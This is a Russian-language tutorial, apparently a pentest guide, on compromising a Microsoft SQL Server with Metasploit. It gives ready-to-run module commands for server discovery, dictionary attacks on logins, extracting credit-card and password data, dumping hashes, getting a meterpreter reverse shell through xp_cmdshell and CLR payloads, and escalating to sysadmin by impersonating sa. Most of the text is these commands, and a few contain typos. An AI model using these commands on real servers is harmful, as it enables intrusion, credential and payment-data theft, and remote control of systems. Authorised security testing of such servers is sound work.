Взлом MSSQL.
В этой статье мы узнаем, как использовать Metasploit для эксплуатации MSSQL. Мы рассмотрим возможности Metasploit, от поиска MSSQL сервера в сети, до извлечения конфиденциальной информации из базы данных и получения контроля над системой.
Сбор информации и перечисление
При тестировании MSSQL серверов, в удаленной или локальной сети, наша первая задача — найти сервер в сети. Для этого мы будем использовать следующий модуль в Metasploit:
use auxiliary/scanner/mssql/mssql_ping set rhosts 192.168.1.1/24 exploit
Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы применим атаку по словарю:
use auxiliary/scanner/mssql/mssql_login set rhosts 192.168.1.3 set user_file /root/users.txt set verbose false exploit
И вы можете видеть на изображении выше, у нас есть валидные учетные данные.
Мы также можем получить всю информацию о сервере MSSQL и его версии:
use auxiliary/admin/mssql/mssql_sql set rhosts 192.168.1.3 set username lowprwiv set password Password@1 exploit
Давайте теперь изучим сервер и посмотрим, какую информацию мы можем получить. И для этого мы будем использовать следующий модуль:
use auxiliary/admin/mssql/mssql_enum set rhosts 192.168.1.3 set username lowpriv set password Password@1 exploit
В результате вы можете видеть, какие разрешения доступны, какие есть базы данных и прочую полезную информацию.
Перечисление пользователей SQL
Мы также можем получить список всех пользователей.
use auxiliary/admin/mssql/mssql_enum_sql_login set rhosts 192.168.1.3 set username lowpriv set password Password@1 exploit
Теперь давайте извлечем содержимое базы данных с помощью Metasploit.
use auxiliary/admin/mssql/mssql_findandsampledata set rhosts 192.168.1.3 set username lowpriv set password Password@1 set sample_size 4 set keywords FirstName|passw|credit exploit
Таким образом, использование вышеперечисленного модуля вернет нам необходимое содержимое базы данных. Например, данные, которые мы извлекли, содержат информацию о хранящихся кредитных картах пользователей.
use auxiliary/scanner/mssql/mssql_schemadump set rhosts 192.168.1.3 set username lowpriv set password Password@1 exploit
Наш следующий модуль используется для выгрузки хешей пользователей с сервера. Чтобы использовать этот модуль, введите:
use auxiliary/scanner/mssql/mssql_hashdump set rhosts 192.168.1.149 set username sa set password Password@1 expoit
Выполнение команд (xp_cmdshell)
Теперь давайте попробуем получить сеанс meterpreter на сервере, эксплуатируя xpcmdshell с помощью:
use exploit/windows/mssql/mssql_payload set rhosts 192.168.1.3 set username lowpriv set password Password@1 exploit
Как видно на изображении выше, эксплойт пытается включить xp_cmdshell для получения нашей сессии. Как только xp_cmdshell успешно включится, у нас будет сессия meterpreter, как показано на изображении ниже:
Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью:
use auxiliary/admin/mssql/mssql_exec set rhosts 192.168.1.3 set username lowpriv set password Password@1 set cmd "net user" exploit
Следующий эксплойт поможет воспользоваться интеграцией CLR. Этот эксплойт позволит активировать интеграцию CLR, а также включит свойство доверительной базы данных. После того как эксплойт предоставит вам сессию, он восстановит все настройки в их первоначальное состояние. Чтобы использовать этот эксплойт, введите:
use exploit/windows/mssql/mssql_clr_payload set payload windows/x64/meterpreter/reverse_tcp set username lowpriv set password Password@1 exploit
Когда у нас есть учетные данные пользователя, мы можем использовать следующий эксплойт для повышения привилегий нашего пользователя. Этот эксплойт будет манипулировать свойством доверительной базы данных и предоставит вам все необходимые привилегии.
use auxiliary/admin/mssql/mssql_escalate_dbowner set rhosts 192.168.1.3 set username lowpriv set password Password@1 exploit
Еще один метод получения привилегий — это олицетворение другого пользователя. И следующий эксплойт поможет нам сделать именно это. н позволит нашему пользователю выдавать себя за других пользователей для получения привилегий системного администратора. Чтобы использовать этот эксплойт, воспользуйтесь следующим набором команд:
use auxiliary/admin/mssql/mssql_escalate_execute_as set rhosts 192.168.1.3 set username lowpriv set password Password@1 exploit
Пользователь sa является членом sysadmin, и с помощью вышеуказанного эксплойта lowpriv теперь тоже стал системным администратором, так как он олицетворил пользователя sa.
Metasploit — это один из лучших инструментов для тестирования безопасности MSSQL-серверов, так как он предлагает много различных способов сканирования и эксплуатации.